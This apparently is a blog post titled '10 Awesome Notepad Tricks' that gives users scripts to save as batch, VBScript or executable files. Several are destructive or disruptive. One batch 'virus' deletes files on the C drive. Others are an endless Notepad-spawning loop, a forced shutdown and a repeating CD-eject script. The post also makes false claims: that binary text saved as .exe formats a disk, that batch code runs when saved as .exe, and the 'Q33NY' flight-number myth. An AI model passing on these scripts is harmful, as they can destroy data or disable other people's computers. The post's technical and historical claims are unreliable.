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10 Awesome Notepad Tricks | Cool Notepad tricks!

As you guys know, notepad is pre-installed in all windows operating systems including windows 98 but have you tried any coding in it so far? For you kind information notepad and compile and execute some coding. Now, in this tutorial, I will teach how to perform various notepad tricks, which will shock you!

Through notepad you can create software! Which I have explained in another article in my blog. Now, I will show some handy scripts through which you can do some tricky works in your computer, note that, through notepad coding you can control all external and internal commands of your computer, like running commands to operate external source like keyboard lights, eject CD drives, etc! Let’s see the top 10 tricks of Notepad!

#10 – Format your Hard-disk with Notepad!

Did you know? You can format your hard disk fully with notepad. Here’s how…

  • Open Notepad.
  • Copy and paste the following code in it and save it with .exe extension, which indicates it is a executable file.

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

Now simply open the file by double clicking on it.
Caution! Take care while using it!

#9 – Make your computer speak what you type!

  • Open Notepad.
  • Copy and paste the following code in it and save it with .vbs extension, which indicates it is a visual basic script file.

Dim message, sapi message=InputBox(“Techspotz Tutorials”,”Edit your text here”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message

Now open the file and the computer will read what you wrote in it! You might have seen many software with this feature, and all are made up with this basic simple code!

#8 – Matrix Effect

  • Open Notepad.
  • Copy and paste the following code in it and save it with .exe extension, which indicates it is a executable file.

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Now just open the file, and you will see random numbers running, you can change green colour by change the colour code from A to F and 1 to 6. You might have seen this in many movie, where hackers execute this type of files. 

#7 – World Trade Attack on Notepad!

All of us know the World Trade Attack, The number of that plane which crashed into the building is Q33NY. Now, with this small bit of information, we are gonna perform a small trick!
  • Open Notepad
  • Type Q33N ( Don’t type Y and type in Caps! )
  • Now, click on format, go to fonts and change the font to Wingdings and increase the font size to max.
  • Now click on OK
You will feel the magic! It may be a coincidence or programmed! For now it’s a trick.

#6 – Personal Diary with Notepad!

  • Open Notepad
  • Type .LOG in caps and save it.
  • Now open it again you can find the date and time in it.
  • Daily you can open it write your story and save it different place.
  • You personal diary is ready!

#5 – Create a simple Virus in Notepad!

  • Open Notepad
  • Copy the below code and paste it in notepad.
  • Save the file as virus.exe or any name you want, but the extension .exe

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Now, as soon as you save the file, you antivirus will detect it as a virus and will attempt to remove it, if you don’t have an anti-virus, then your firewall will detect it for sure!

#4 – Open Notepad continuously, even if you close it 1000 times!

  • Open Notepad
  • Copy and paste the below code in it and save it as name.bat.

@ECHO off
:top
START %SystemRoot%system32notepad.exe
GOTO top

Now open it! Think twice before you open it, because you have to shutdown your computer, to stop opening of notepad.

#3 – Display a message and shutdown your computer!

  • Open Notepad
  • Copy and paste the following code in it. And save it with .bat extension.

@echo off
msg * Techspotz Tutorial
shutdown -c “Error! Shutting down!” -s

 Now open the file, your message will be displayed in dialog box, and your computer will shutdown.

#2 – A virus in Notepad that will format your C drive and corrupt your computer!

  • Open Notepad
  • Copy and paste the following code in it. And save it with .bat extension.

@Echo off
Del C: *.* |y

Now if you open it, your C drive will be formatted, and your boot files will be corrupted and your operating system will be damaged.

#1 – Continuously pop out CD drive!

  • Open Notepad 
  • Copy and paste the following code in it. And save it with .vbs extension.

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Now if you open it, your CD drive will be ejecting automatically, even if your close it, or in some computer it will open and close automatically. 
That’s all! Things to Note if you get errors…
  • Make sure you have saved the file in correct format .exe or .bat or .vbs
  • Important! Change the quotations, as if you copy paste from here it will automatically change into quotations instead of apostrophe.
  • Remove all other extra tag, except the codes!
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Sasidharan

Sasidharan is The Founder & CEO Of Techspotz, A Blogger Who is Growing Up Very Fast From Chennai, India. He Likes To Write On Any Topic Related To Blogging Such As Tech, SEO, Android, Hacking, Online Tutorials.

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